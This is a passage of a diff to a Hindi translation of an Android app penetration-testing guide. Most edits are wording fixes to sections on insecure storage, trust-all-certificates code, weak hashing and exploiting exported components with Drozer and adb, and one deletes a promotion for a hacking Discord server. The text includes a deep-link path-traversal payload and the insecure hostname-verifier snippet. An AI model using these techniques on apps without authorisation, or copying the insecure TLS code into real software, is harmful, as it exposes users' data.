जानकारी** को बाहरी संग्रहण पर **न रखने** की सलाह दी जाती है। +- पहुँच की आसानी को देखते हुए, सलाह दी जाती है कि **संवेदनशील जानकारी** को बाहरी संग्रहण पर **न रखें**। - बाहरी संग्रहण को किसी भी एप्लिकेशन द्वारा हटाया या एक्सेस किया जा सकता है, जिससे यह कम सुरक्षित हो जाता है। 3. **Handling Data from External Storage**: - हमेशा बाहरी संग्रहण से प्राप्त डेटा पर **input validation** करें। यह महत्वपूर्ण है क्योंकि डेटा एक अविश्वसनीय स्रोत से है। -- बाहरी संग्रहण पर executables या class फ़ाइलों को गतिशील लोडिंग के लिए रखना दृढ़ता से हतोत्साहित किया जाता है। +- बाहरी संग्रहण पर executable या class फ़ाइलों को गतिशील लोडिंग के लिए रखना दृढ़ता से हतोत्साहित किया जाता है। - यदि आपके एप्लिकेशन को बाहरी संग्रहण से executable फ़ाइलें प्राप्त करनी हैं, तो सुनिश्चित करें कि ये फ़ाइलें **signed and cryptographically verified** हैं इससे पहले कि उन्हें गतिशील रूप से लोड किया जाए। यह आपके एप्लिकेशन की सुरक्षा अखंडता बनाए रखने के लिए महत्वपूर्ण है। बाहरी संग्रहण को `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` में **accessed** किया जा सकता है। > [!NOTE] -> Android 4.4 (**API 17**) से शुरू होकर, SD कार्ड में एक निर्देशिका संरचना है जो **एक ऐप से उस ऐप के लिए विशेष रूप से निर्देशिका तक पहुँच को सीमित करती है**। यह दुर्भावनापूर्ण एप्लिकेशन को किसी अन्य ऐप की फ़ाइलों को पढ़ने या लिखने की अनुमति नहीं देता है। +> Android 4.4 (**API 17**) से शुरू होकर, SD कार्ड में एक निर्देशिका संरचना है जो **किसी ऐप को उस ऐप के लिए विशेष रूप से निर्देशिका तक पहुँच को सीमित करती है**। यह दुर्भावनापूर्ण एप्लिकेशन को किसी अन्य ऐप की फ़ाइलों को पढ़ने या लिखने की अनुमति नहीं देता है। **Sensitive data stored in clear-text** @@ -149,7 +134,7 @@ Android में, फ़ाइलें **internal** storage में **stored **Accept All Certificates** -किसी कारण से कभी-कभी डेवलपर्स सभी प्रमाणपत्रों को स्वीकार करते हैं, भले ही उदाहरण के लिए होस्टनाम कोड की निम्नलिखित पंक्तियों के साथ मेल न खाता हो: +किसी कारण से कभी-कभी डेवलपर्स सभी प्रमाणपत्रों को स्वीकार करते हैं भले ही उदाहरण के लिए होस्टनाम कोड की पंक्तियों के साथ मेल न खाता हो जैसे कि निम्नलिखित: ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); @@ -164,15 +149,15 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); **असुरक्षित और/या अप्रचलित एल्गोरिदम का उपयोग** -डेवलपर्स को **अप्रचलित एल्गोरिदम** का उपयोग करके प्राधिकरण **जांच**, **डेटा सहेजने** या **भेजने** से बचना चाहिए। इनमें से कुछ एल्गोरिदम हैं: RC4, MD4, MD5, SHA1... यदि **हैश** का उपयोग पासवर्ड को सहेजने के लिए किया जाता है, तो हैश ब्रूट-फोर्स **प्रतिरोधी** होना चाहिए और नमक के साथ होना चाहिए। +डेवलपर्स को **अप्रचलित एल्गोरिदम** का उपयोग करके प्राधिकरण **जांच**, **डेटा सहेजने** या **भेजने** से बचना चाहिए। इनमें से कुछ एल्गोरिदम हैं: RC4, MD4, MD5, SHA1... यदि **हैश** का उपयोग पासवर्ड को सहेजने के लिए किया जाता है, तो हैश ब्रूट-फोर्स **प्रतिरोधी** होना चाहिए और इसे नमक के साथ उपयोग किया जाना चाहिए। ### अन्य जांचें -- यह अनुशंसा की जाती है कि **APK को ओबफस्केट** करें ताकि हमलावरों के लिए रिवर्स इंजीनियरिंग का कार्य कठिन हो सके। +- यह अनुशंसा की जाती है कि **APK को ओबफस्केट** किया जाए ताकि हमलावरों के लिए रिवर्स इंजीनियरिंग का कार्य कठिन हो सके। - यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे **जांच करनी चाहिए कि मोबाइल रूटेड है** और इसके अनुसार कार्य करना चाहिए। - यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे जांच करनी चाहिए कि क्या एक **इम्यूलेटर** का उपयोग किया जा रहा है। - यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे **कार्यक्रम को निष्पादित करने से पहले अपनी अखंडता की जांच करनी चाहिए** कि क्या इसे संशोधित किया गया है। -- [**APKiD**](https://github.com/rednaga/APKiD) का उपयोग करें यह जांचने के लिए कि APK बनाने के लिए कौन सा कंपाइलर/पैकर/ओबफ्सकेटर का उपयोग किया गया था। +- [**APKiD**](https://github.com/rednaga/APKiD) का उपयोग करें यह जांचने के लिए कि APK बनाने के लिए कौन सा कंपाइलर/पैकर/ओबफस्केटर का उपयोग किया गया था। ### रिएक्ट नेटिव एप्लिकेशन @@ -196,7 +181,7 @@ react-native-application.md ### स्वचालित स्थैतिक कोड विश्लेषण -उपकरण [**mariana-trench**](https://github.com/facebook/mariana-trench) **कोड** को **स्कैन** करके **कमजोरियों** को खोजने में सक्षम है। इस उपकरण में **ज्ञात स्रोतों** की एक श्रृंखला होती है (जो उपकरण को **जगहें** बताती है जहाँ **इनपुट** **उपयोगकर्ता द्वारा नियंत्रित** होता है), **सिंक** (जो उपकरण को **खतरनाक** **जगहें** बताती है जहाँ दुर्भावनापूर्ण उपयोगकर्ता इनपुट नुकसान पहुंचा सकता है) और **नियम**। ये नियम **स्रोत-सिंक** के **संयोग** को इंगित करते हैं जो एक कमजोरी को दर्शाते हैं। +उपकरण [**mariana-trench**](https://github.com/facebook/mariana-trench) **एप्लिकेशन के कोड को स्कैन करके** **कमजोरियों** को खोजने में सक्षम है। इस उपकरण में **ज्ञात स्रोतों** की एक श्रृंखला होती है (जो उपकरण को **उन स्थानों** को इंगित करती है जहाँ **इनपुट** **उपयोगकर्ता द्वारा नियंत्रित** होता है), **सिंक** (जो उपकरण को **खतरनाक** **स्थान** इंगित करता है जहाँ दुर्भावनापूर्ण उपयोगकर्ता इनपुट नुकसान पहुंचा सकता है) और **नियम**। ये नियम **स्रोत-सिंक** के **संयोग** को इंगित करते हैं जो एक कमजोरी को इंगित करते हैं। इस ज्ञान के साथ, **mariana-trench कोड की समीक्षा करेगा और इसमें संभावित कमजोरियों को खोजेगा**। @@ -215,7 +200,7 @@ bypass-biometric-authentication-android.md - **कोड निष्पादन**: `Runtime.exec(), ProcessBuilder(), native code:system()` - **SMS भेजें**: `sendTextMessage, sendMultipartTestMessage` - **स्थानीय कार्य** घोषित किए गए हैं `native`: `public native, System.loadLibrary, System.load` -- [यह पढ़ें **कैसे स्थानीय कार्यों को रिवर्स करें**](reversing-native-libraries.md) +- [यह पढ़ें कि **स्थानीय कार्यों को कैसे रिवर्स करें**](reversing-native-libraries.md) ### **अन्य तरकीबें** @@ -225,21 +210,6 @@ content-protocol.md --- -
- -अनुभवी हैकरों और बग बाउंटी शिकारियों के साथ संवाद करने के लिए [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों! - -**हैकिंग अंतर्दृष्टि**\ -हैकिंग के रोमांच और चुनौतियों में गहराई से जाने वाले सामग्री के साथ संलग्न हों - -**वास्तविक समय हैक समाचार**\ -वास्तविक समय की समाचार और अंतर्दृष्टि के माध्यम से तेज़-तर्रार हैकिंग दुनिया के साथ अद्यतित रहें - -**नवीनतम घोषणाएँ**\ -नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें - -आज ही शीर्ष हैकरों के साथ सहयोग शुरू करने के लिए [**Discord**](https://discord.com/invite/N3FrSbmwdy) पर हमसे जुड़ें! - --- ## गतिशील विश्लेषण @@ -248,9 +218,9 @@ content-protocol.md ### ऑनलाइन गतिशील विश्लेषण -आप [https://appetize.io/](https://appetize.io) में एक **मुफ्त खाता** बना सकते हैं। यह प्लेटफ़ॉर्म आपको **APK अपलोड** और **निष्पादित** करने की अनुमति देता है, इसलिए यह देखने के लिए उपयोगी है कि एक APK कैसे व्यवहार कर रहा है। +आप [https://appetize.io/](https://appetize.io) पर एक **मुफ्त खाता** बना सकते हैं। यह प्लेटफ़ॉर्म आपको **APK अपलोड** और **निष्पादित** करने की अनुमति देता है, इसलिए यह देखने के लिए उपयोगी है कि एक APK कैसे व्यवहार कर रहा है। -आप यहां तक कि **अपने एप्लिकेशन के लॉग** को वेब में देख सकते हैं और **adb** के माध्यम से कनेक्ट कर सकते हैं। +आप यहां तक कि **अपने एप्लिकेशन के लॉग** को वेब पर देख सकते हैं और **adb** के माध्यम से कनेक्ट कर सकते हैं। ![](<../../images/image (831).png>) @@ -260,20 +230,20 @@ ADB कनेक्शन के लिए धन्यवाद, आप **Droze #### एक इम्यूलेटर का उपयोग करना -- [**Android Studio**](https://developer.android.com/studio) (आप **x86** और **arm** उपकरण बना सकते हैं, और [**इस**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**नवीनतम x86** संस्करण **ARM पुस्तकालयों** का समर्थन करते हैं बिना धीमे arm इम्यूलेटर की आवश्यकता के)। +- [**Android Studio**](https://developer.android.com/studio) (आप **x86** और **arm** उपकरण बना सकते हैं, और [**इस**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**नवीनतम x86** संस्करण **ARM पुस्तकालयों** का समर्थन करते हैं बिना धीमे ARM इम्यूलेटर की आवश्यकता के)। - इसे सेट करने के लिए इस पृष्ठ पर सीखें: {{#ref}} avd-android-virtual-device.md {{#endref}} -- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(मुफ्त संस्करण:** व्यक्तिगत संस्करण, आपको एक खाता बनाना होगा। _यह अनुशंसा की जाती है कि **वर्जन **WITH**_ _**VirtualBox** डाउनलोड करें ताकि संभावित त्रुटियों से बचा जा सके।_) +- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(मुफ्त संस्करण:** व्यक्तिगत संस्करण, आपको एक खाता बनाना होगा। _यह अनुशंसा की जाती है कि **संस्करण डाउनलोड करें** **WITH**_ _**VirtualBox** संभावित त्रुटियों से बचने के लिए।_) - [**Nox**](https://es.bignox.com) (मुफ्त, लेकिन यह Frida या Drozer का समर्थन नहीं करता)। > [!NOTE] > किसी भी प्लेटफ़ॉर्म पर नया इम्यूलेटर बनाते समय याद रखें कि स्क्रीन जितनी बड़ी होगी, इम्यूलेटर उतना ही धीमा चलेगा। इसलिए यदि संभव हो तो छोटे स्क्रीन का चयन करें। -Genymotion में Google सेवाओं (जैसे AppStore) को स्थापित करने के लिए, आपको निम्नलिखित छवि के लाल चिह्नित बटन पर क्लिक करना होगा: +Genymotion में **गूगल सेवाओं** (जैसे AppStore) को स्थापित करने के लिए, आपको निम्नलिखित छवि के लाल चिह्नित बटन पर क्लिक करना होगा: ![](<../../images/image (277).png>) @@ -281,7 +251,7 @@ Genymotion में Google सेवाओं (जैसे AppStore) को #### एक भौतिक उपकरण का उपयोग करें -आपको **डिबगिंग** विकल्पों को सक्रिय करना होगा और यदि आप इसे **रूट** कर सकते हैं तो यह अच्छा होगा: +आपको **डीबगिंग** विकल्पों को सक्रिय करना होगा और यदि आप इसे **रूट** कर सकते हैं तो यह अच्छा होगा: 1. **सेटिंग्स**। 2. (Android 8.0 से) **सिस्टम** का चयन करें। @@ -289,14 +259,14 @@ Genymotion में Google सेवाओं (जैसे AppStore) को 4. **बिल्ड नंबर** पर 7 बार दबाएं। 5. वापस जाएं और आप **डेवलपर विकल्प** पाएंगे। -> एक बार जब आपने एप्लिकेशन स्थापित कर लिया है, तो आपको सबसे पहले इसे आजमाना चाहिए और यह जांचना चाहिए कि यह क्या करता है, यह कैसे काम करता है और इसके साथ सहज होना चाहिए।\ -> मैं सुझाव दूंगा कि **MobSF गतिशील विश्लेषण + pidcat का उपयोग करके इस प्रारंभिक गतिशील विश्लेषण को करें**, ताकि हम **सीख सकें कि एप्लिकेशन कैसे काम करता है** जबकि MobSF **कई** **दिलचस्प** **डेटा** को कैप्चर करता है जिसे आप बाद में देख सकते हैं। +> एक बार जब आपने एप्लिकेशन स्थापित कर लिया है, तो आपको सबसे पहले इसे आजमाना चाहिए और यह जांचना चाहिए कि यह क्या करता है, यह कैसे काम करता है और इसके साथ सहज हो जाएं।\ +> मैं सुझाव दूंगा कि **इस प्रारंभिक गतिशील विश्लेषण को MobSF गतिशील विश्लेषण + pidcat का उपयोग करके करें**, ताकि हम **सीख सकें कि एप्लिकेशन कैसे काम करता है** जबकि MobSF **कई** **दिलचस्प** **डेटा** को कैप्चर करता है जिसे आप बाद में देख सकते हैं। ### अनपेक्षित डेटा लीक **लॉगिंग** -डेवलपर्स को **डिबगिंग जानकारी** को सार्वजनिक रूप से उजागर करने के प्रति सतर्क रहना चाहिए, क्योंकि इससे संवेदनशील डेटा लीक हो सकता है। एप्लिकेशन लॉग की निगरानी के लिए [**pidcat**](https://github.com/JakeWharton/pidcat) और `adb logcat` उपकरणों की सिफारिश की जाती है ताकि संवेदनशील जानकारी की पहचान और सुरक्षा की जा सके। **Pidcat** को इसके उपयोग में आसानी और पठनीयता के लिए पसंद किया जाता है। +डेवलपर्स को **डीबगिंग जानकारी** को सार्वजनिक रूप से उजागर करने के प्रति सतर्क रहना चाहिए, क्योंकि इससे संवेदनशील डेटा लीक हो सकता है। एप्लिकेशन लॉग की निगरानी के लिए उपकरण [**pidcat**](https://github.com/JakeWharton/pidcat) और `adb logcat` की सिफारिश की जाती है ताकि संवेदनशील जानकारी की पहचान और सुरक्षा की जा सके। **Pidcat** को इसके उपयोग में आसानी और पठनीयता के लिए पसंद किया जाता है। > [!WARNING] > ध्यान दें कि **Android 4.0 से नए संस्करणों** में, **एप्लिकेशन केवल अपने स्वयं के लॉग तक पहुँचने में सक्षम होते हैं**। इसलिए एप्लिकेशन अन्य ऐप्स के लॉग तक पहुँच नहीं सकते।\ @@ -304,11 +274,11 @@ Genymotion में Google सेवाओं (जैसे AppStore) को **कॉपी/पेस्ट बफर कैशिंग** -Android का **क्लिपबोर्ड-आधारित** ढांचा ऐप्स में कॉपी-पेस्ट कार्यक्षमता को सक्षम करता है, फिर भी यह एक जोखिम प्रस्तुत करता है क्योंकि **अन्य एप्लिकेशन** क्लिपबोर्ड तक **पहुँच** सकते हैं, जिससे संवेदनशील डेटा उजागर हो सकता है। यह महत्वपूर्ण है कि संवेदनशील एप्लिकेशन के हिस्सों के लिए कॉपी/पेस्ट कार्यों को **अक्षम** किया जाए, जैसे कि क्रेडिट कार्ड विवरण, डेटा लीक को रोकने के लिए। +Android का **क्लिपबोर्ड-आधारित** ढांचा ऐप्स में कॉपी-पेस्ट कार्यक्षमता को सक्षम बनाता है, फिर भी यह एक जोखिम प्रस्तुत करता है क्योंकि **अन्य एप्लिकेशन** क्लिपबोर्ड तक **पहुँच** सकते हैं, जिससे संवेदनशील डेटा उजागर हो सकता है। यह महत्वपूर्ण है कि संवेदनशील एप्लिकेशन के अनुभागों के लिए कॉपी/पेस्ट कार्यक्षमता को **अक्षम** किया जाए, जैसे कि क्रेडिट कार्ड विवरण, डेटा लीक को रोकने के लिए। **क्रैश लॉग** -यदि एक एप्लिकेशन **क्रैश** होता है और **लॉग** सहेजता है, तो ये लॉग हमलावरों की मदद कर सकते हैं, विशेष रूप से जब एप्लिकेशन को रिवर्स-इंजीनियर नहीं किया जा सकता। इस जोखिम को कम करने के लिए, क्रैश पर लॉगिंग से बचें, और यदि लॉग को नेटवर्क के माध्यम से भेजना आवश्यक है, तो सुनिश्चित करें कि उन्हें सुरक्षा के लिए SSL चैनल के माध्यम से भेजा जाए। +यदि एक एप्लिकेशन **क्रैश** होता है और **लॉग** सहेजता है, तो ये लॉग हमलावरों की मदद कर सकते हैं, विशेष रूप से जब एप्लिकेशन को रिवर्स-इंजीनियर नहीं किया जा सकता। इस जोखिम को कम करने के लिए, क्रैश पर लॉगिंग से बचें, और यदि लॉग को नेटवर्क के माध्यम से भेजा जाना चाहिए, तो सुनिश्चित करें कि उन्हें सुरक्षा के लिए SSL चैनल के माध्यम से भेजा जाए। एक पेंटेस्टर के रूप में, **इन लॉग्स पर एक नज़र डालने की कोशिश करें**। @@ -321,18 +291,18 @@ Android का **क्लिपबोर्ड-आधारित** ढां अधिकांश एप्लिकेशन **आंतरिक SQLite डेटाबेस** का उपयोग करके जानकारी सहेजेंगे। पेंटेस्ट के दौरान, बनाए गए **डेटाबेस**, **तालिकाओं** और **स्तंभों** के नामों और सभी **डेटा** को देखें क्योंकि आप **संवेदनशील जानकारी** (जो एक कमजोरी होगी) पा सकते हैं।\ डेटाबेस `/data/data/the.package.name/databases` में स्थित होना चाहिए जैसे `/data/data/com.mwr.example.sieve/databases` -यदि डेटाबेस संवेदनशील जानकारी सहेज रहा है और **एन्क्रिप्टेड** है लेकिन आप एप्लिकेशन के अंदर **पासवर्ड** पा सकते हैं, तो यह अभी भी एक **कमजोरी** है। +यदि डेटाबेस संवेदनशील जानकारी को सहेज रहा है और **एन्क्रिप्टेड है** लेकिन आप एप्लिकेशन के अंदर **पासवर्ड** पा सकते हैं, तो यह अभी भी एक **कमजोरी** है। -तालिकाओं को `.tables` का उपयोग करके सूचीबद्ध करें और तालिकाओं के स्तंभों को `.schema ` करके सूचीबद्ध करें। +`.tables` का उपयोग करके तालिकाओं को सूचीबद्ध करें और तालिकाओं के स्तंभों को `.schema ` करके सूचीबद्ध करें। ### Drozer (एक्सप्लॉइट गतिविधियाँ, सामग्री प्रदाता और सेवाएँ) -[Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf) से: **Drozer** आपको **Android ऐप की भूमिका ग्रहण करने** और अन्य ऐप्स के साथ बातचीत करने की अनुमति देता है। यह **किसी भी चीज़ को कर सकता है जो एक स्थापित एप्लिकेशन कर सकता है**, जैसे Android के इंटर-प्रोसेस संचार (IPC) तंत्र का उपयोग करना और अंतर्निहित ऑपरेटिंग सिस्टम के साथ बातचीत करना।\ -Drozer निर्यातित गतिविधियों, निर्यातित सेवाओं और सामग्री प्रदाताओं का **शोषण** करने के लिए एक उपयोगी उपकरण है जैसा कि आप निम्नलिखित अनुभागों में सीखेंगे। +[Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf) से: **Drozer** आपको **एक Android ऐप की भूमिका ग्रहण करने** और अन्य ऐप्स के साथ बातचीत करने की अनुमति देता है। यह **किसी भी चीज़ को कर सकता है जो एक स्थापित एप्लिकेशन कर सकता है**, जैसे Android के इंटर-प्रोसेस संचार (IPC) तंत्र का उपयोग करना और अंतर्निहित ऑपरेटिंग सिस्टम के साथ बातचीत करना।\ +Drozer एक उपयोगी उपकरण है **निर्यातित गतिविधियों, निर्यातित सेवाओं और सामग्री प्रदाताओं का शोषण करने के लिए** जैसा कि आप अगले अनुभागों में सीखेंगे। ### निर्यातित गतिविधियों का शोषण -[**यदि आप यह ताज़ा करना चाहते हैं कि Android गतिविधि क्या है, तो इसे पढ़ें।**](android-applications-basics.md#launcher-activity-and-other-activities)\ +[**यह पढ़ें यदि आप यह ताज़ा करना चाहते हैं कि Android गतिविधि क्या है।**](android-applications-basics.md#launcher-activity-and-other-activities)\ यह भी याद रखें कि एक गतिविधि का कोड **`onCreate`** विधि में शुरू होता है। **प्राधिकरण बायपास** @@ -348,25 +318,25 @@ Drozer निर्यातित गतिविधियों, निर् ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` -**NOTE**: MobSF _**singleTask/singleInstance**_ के उपयोग को `android:launchMode` में एक गतिविधि के रूप में दुर्भावनापूर्ण के रूप में पहचानता है, लेकिन [इस](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) के कारण, यह स्पष्ट रूप से केवल पुराने संस्करणों (API संस्करण < 21) पर खतरनाक है। +**नोट**: MobSF _**singleTask/singleInstance**_ के उपयोग को `android:launchMode` में एक गतिविधि के रूप में दुर्भावनापूर्ण के रूप में पहचानता है, लेकिन [इस](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) के कारण, यह स्पष्ट रूप से केवल पुराने संस्करणों (API संस्करण < 21) पर खतरनाक है। -> [!NOTE] +> [!नोट] > ध्यान दें कि एक प्राधिकरण बाईपास हमेशा एक कमजोर बिंदु नहीं होता है, यह इस पर निर्भर करेगा कि बाईपास कैसे काम करता है और कौन सी जानकारी उजागर होती है। **संवेदनशील जानकारी का रिसाव** -**गतिविधियाँ परिणाम भी लौटा सकती हैं**। यदि आप एक निर्यातित और असुरक्षित गतिविधि को खोजने में सफल होते हैं जो **`setResult`** विधि को कॉल करती है और **संवेदनशील जानकारी** लौटाती है, तो यह संवेदनशील जानकारी का रिसाव है। +**गतिविधियाँ परिणाम भी लौटा सकती हैं**। यदि आप एक निर्यातित और अप्रोटेक्टेड गतिविधि को खोजने में सफल होते हैं जो **`setResult`** विधि को कॉल करती है और **संवेदनशील जानकारी** लौटाती है, तो यह संवेदनशील जानकारी का रिसाव है। -#### Tapjacking +#### टैपजैकिंग -यदि tapjacking को रोका नहीं गया, तो आप निर्यातित गतिविधि का दुरुपयोग कर सकते हैं ताकि **उपयोगकर्ता अप्रत्याशित क्रियाएँ** कर सके। [**Tapjacking क्या है, इसके बारे में अधिक जानकारी के लिए लिंक का पालन करें**](./#tapjacking)। +यदि टैपजैकिंग को रोका नहीं गया, तो आप निर्यातित गतिविधि का दुरुपयोग कर सकते हैं ताकि **उपयोगकर्ता अप्रत्याशित क्रियाएँ** कर सके। अधिक जानकारी के लिए [**टैपजैकिंग क्या है, लिंक का पालन करें**](./#tapjacking)। -### सामग्री प्रदाताओं का शोषण - संवेदनशील जानकारी तक पहुँच और हेरफेर +### सामग्री प्रदाताओं का शोषण - संवेदनशील जानकारी तक पहुँच और हेरफेर करना [**यदि आप सामग्री प्रदाता क्या है, इसे ताज़ा करना चाहते हैं तो इसे पढ़ें।**](android-applications-basics.md#content-provider)\ -सामग्री प्रदाता मूल रूप से **डेटा साझा करने** के लिए उपयोग किए जाते हैं। यदि किसी ऐप में उपलब्ध सामग्री प्रदाता हैं, तो आप उनसे **संवेदनशील** डेटा निकालने में सक्षम हो सकते हैं। यह भी **SQL इंजेक्शन** और **पथ Traversals** का परीक्षण करना दिलचस्प है क्योंकि वे कमजोर हो सकते हैं। +सामग्री प्रदाता मूल रूप से **डेटा साझा करने** के लिए उपयोग किए जाते हैं। यदि किसी ऐप में उपलब्ध सामग्री प्रदाता हैं, तो आप उनसे **संवेदनशील** डेटा निकालने में सक्षम हो सकते हैं। यह भी **SQL इंजेक्शन** और **पथ ट्रैवर्सल** का परीक्षण करना दिलचस्प है क्योंकि वे कमजोर हो सकते हैं। -[**Drozer के साथ सामग्री प्रदाताओं का शोषण कैसे करें, यह जानें।**](drozer-tutorial/#content-providers) +[**ड्रोज़र के साथ सामग्री प्रदाताओं का शोषण कैसे करें, जानें।**](drozer-tutorial/#content-providers) ### **सेवाओं का शोषण** @@ -374,7 +344,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity याद रखें कि एक सेवा की क्रियाएँ `onStartCommand` विधि में शुरू होती हैं। एक सेवा मूल रूप से कुछ ऐसा है जो **डेटा प्राप्त कर सकता है**, **प्रसंस्करण** कर सकता है और **एक प्रतिक्रिया** (या नहीं) लौटा सकता है। फिर, यदि कोई एप्लिकेशन कुछ सेवाएँ निर्यात कर रहा है, तो आपको **कोड** की **जांच** करनी चाहिए ताकि यह समझ सकें कि यह क्या कर रहा है और **गोपनीय जानकारी निकालने**, प्रमाणीकरण उपायों को बाईपास करने के लिए इसे **गतिशील रूप से** **परीक्षण** करें...\ -[**Drozer के साथ सेवाओं का शोषण कैसे करें, यह जानें।**](drozer-tutorial/#services) +[**ड्रोज़र के साथ सेवाओं का शोषण कैसे करें, जानें।**](drozer-tutorial/#services) ### **ब्रॉडकास्ट रिसीवर्स का शोषण** @@ -382,16 +352,16 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity याद रखें कि एक ब्रॉडकास्ट रिसीवर की क्रियाएँ `onReceive` विधि में शुरू होती हैं। एक ब्रॉडकास्ट रिसीवर एक प्रकार के संदेश की प्रतीक्षा करेगा। रिसीवर जिस तरह से संदेश को संभालता है, उसके आधार पर यह कमजोर हो सकता है।\ -[**Drozer के साथ ब्रॉडकास्ट रिसीवर्स का शोषण कैसे करें, यह जानें।**](./#exploiting-broadcast-receivers) +[**ड्रोज़र के साथ ब्रॉडकास्ट रिसीवर्स का शोषण कैसे करें, जानें।**](./#exploiting-broadcast-receivers) ### **स्कीमों / डीप लिंक का शोषण** -आप मैन्युअल रूप से गहरे लिंक की तलाश कर सकते हैं, MobSF जैसे उपकरणों का उपयोग करके या [इस स्क्रिप्ट](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) का उपयोग करके।\ +आप मैन्युअल रूप से डीप लिंक की तलाश कर सकते हैं, MobSF जैसे उपकरणों का उपयोग करके या [इस स्क्रिप्ट](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) का उपयोग करके।\ आप **adb** या एक **ब्राउज़र** का उपयोग करके एक घोषित **स्कीम** को **खोल** सकते हैं: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` -_ध्यान दें कि आप **पैकेज नाम को छोड़ सकते हैं** और मोबाइल स्वचालित रूप से उस ऐप को कॉल करेगा जो उस लिंक को खोलना चाहिए._ +_ध्यान दें कि आप **पैकेज नाम छोड़ सकते हैं** और मोबाइल स्वचालित रूप से उस ऐप को कॉल करेगा जो उस लिंक को खोलना चाहिए._ ```markup Click me @@ -411,7 +381,7 @@ _ध्यान दें कि आप **पैकेज नाम को छ **पैरामीटर पथ में** आपको **यह भी जांचना चाहिए कि क्या कोई डीप लिंक URL के पथ के अंदर पैरामीटर का उपयोग कर रहा है** जैसे: `https://api.example.com/v1/users/{username}` , इस मामले में आप पथ यात्रा को मजबूर कर सकते हैं और कुछ इस तरह पहुंच सकते हैं: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ -ध्यान दें कि यदि आप एप्लिकेशन के अंदर सही एंडपॉइंट्स पाते हैं, तो आप **ओपन रीडायरेक्ट** (यदि पथ का एक भाग डोमेन नाम के रूप में उपयोग किया जाता है), **खाता अधिग्रहण** (यदि आप CSRF टोकन के बिना उपयोगकर्ता विवरण को संशोधित कर सकते हैं और कमजोर एंडपॉइंट ने सही विधि का उपयोग किया) और किसी अन्य कमजोरियों का कारण बन सकते हैं। इसके बारे में अधिक [जानकारी यहाँ](http://dphoeniixx.com/2020/12/13-2/)। +ध्यान दें कि यदि आप एप्लिकेशन के अंदर सही एंडपॉइंट्स पाते हैं, तो आप **Open Redirect** (यदि पथ का एक भाग डोमेन नाम के रूप में उपयोग किया जाता है), **खाता अधिग्रहण** (यदि आप CSRF टोकन के बिना उपयोगकर्ता विवरण को संशोधित कर सकते हैं और कमजोर एंडपॉइंट ने सही विधि का उपयोग किया) और किसी अन्य कमजोरियों का कारण बन सकते हैं। इसके बारे में अधिक [जानकारी यहाँ](http://dphoeniixx.com/2020/12/13-2/) है। **अधिक उदाहरण** @@ -421,11 +391,11 @@ _ध्यान दें कि आप **पैकेज नाम को छ - **प्रमाणपत्रों की हमेशा सही तरीके से जांच नहीं की जाती** Android एप्लिकेशनों द्वारा। इन एप्लिकेशनों के लिए चेतावनियों की अनदेखी करना और स्व-हस्ताक्षरित प्रमाणपत्रों को स्वीकार करना या कुछ मामलों में HTTP कनेक्शन का उपयोग करना सामान्य है। - **SSL/TLS हैंडशेक के दौरान बातचीत कभी-कभी कमजोर होती है**, असुरक्षित सिफर सूट का उपयोग करते हुए। यह कमजोरी कनेक्शन को मैन-इन-द-मिडल (MITM) हमलों के प्रति संवेदनशील बनाती है, जिससे हमलावर डेटा को डिक्रिप्ट कर सकते हैं। -- **निजी जानकारी का लीक होना** एक जोखिम है जब एप्लिकेशन सुरक्षित चैनलों का उपयोग करके प्रमाणीकरण करते हैं लेकिन फिर अन्य लेनदेन के लिए असुरक्षित चैनलों के माध्यम से संचार करते हैं। यह दृष्टिकोण संवेदनशील डेटा, जैसे सत्र कुकीज़ या उपयोगकर्ता विवरण, को दुर्भावनापूर्ण संस्थाओं द्वारा इंटरसेप्शन से सुरक्षित नहीं रखता है। +- **निजी जानकारी का लीक होना** एक जोखिम है जब एप्लिकेशन सुरक्षित चैनलों का उपयोग करके प्रमाणीकरण करते हैं लेकिन फिर अन्य लेनदेन के लिए असुरक्षित चैनलों के माध्यम से संचार करते हैं। यह दृष्टिकोण संवेदनशील डेटा, जैसे सत्र कुकीज़ या उपयोगकर्ता विवरण, को दुर्भावनापूर्ण संस्थाओं द्वारा इंटरसेप्शन से बचाने में विफल रहता है। #### प्रमाणपत्र सत्यापन -हम **प्रमाणपत्र सत्यापन** पर ध्यान केंद्रित करेंगे। सुरक्षा बढ़ाने के लिए सर्वर के प्रमाणपत्र की अखंडता की जांच की जानी चाहिए। यह महत्वपूर्ण है क्योंकि असुरक्षित TLS कॉन्फ़िगरेशन और असुरक्षित चैनलों के माध्यम से संवेदनशील डेटा का संचरण महत्वपूर्ण जोखिम पैदा कर सकता है। सर्वर प्रमाणपत्रों को सत्यापित करने और कमजोरियों को संबोधित करने के लिए विस्तृत कदमों के लिए, [**यह संसाधन**](https://manifestsecurity.com/android-application-security-part-10/) व्यापक मार्गदर्शन प्रदान करता है। +हम **प्रमाणपत्र सत्यापन** पर ध्यान केंद्रित करेंगे। सुरक्षा बढ़ाने के लिए सर्वर के 